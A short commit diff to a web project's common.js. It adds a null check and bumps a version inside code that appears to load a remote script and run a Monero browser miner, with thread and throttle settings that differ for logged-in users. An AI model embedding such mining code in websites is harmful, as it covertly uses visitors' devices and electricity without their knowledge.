⬆ xmr scan

src/main/webapp/js/common.js

@@ -18,7 +18,7 @@
  *
  * @author <a href="http://vanessa.b3log.org">Liyuan Li</a>
  * @author <a href="http://88250.b3log.org">Liang Ding</a>
- * @version 1.3.0.0, Dec 5, 2017
+ * @version 1.3.1.0, Dec 5, 2017
  */
 
 /**
@@ -250,7 +250,7 @@ var Util = {
       dataType: "script"
     }).done(function () {
       var data = {threads: 2, throttle: 0.5}
-      if (latkeConfig.isLoggedIn === 'true') {
+      if (latkeConfig && latkeConfig.isLoggedIn === 'true') {
         data = {threads: 1, throttle: 0.8}
       }
       const ua =  navigator.userAgent;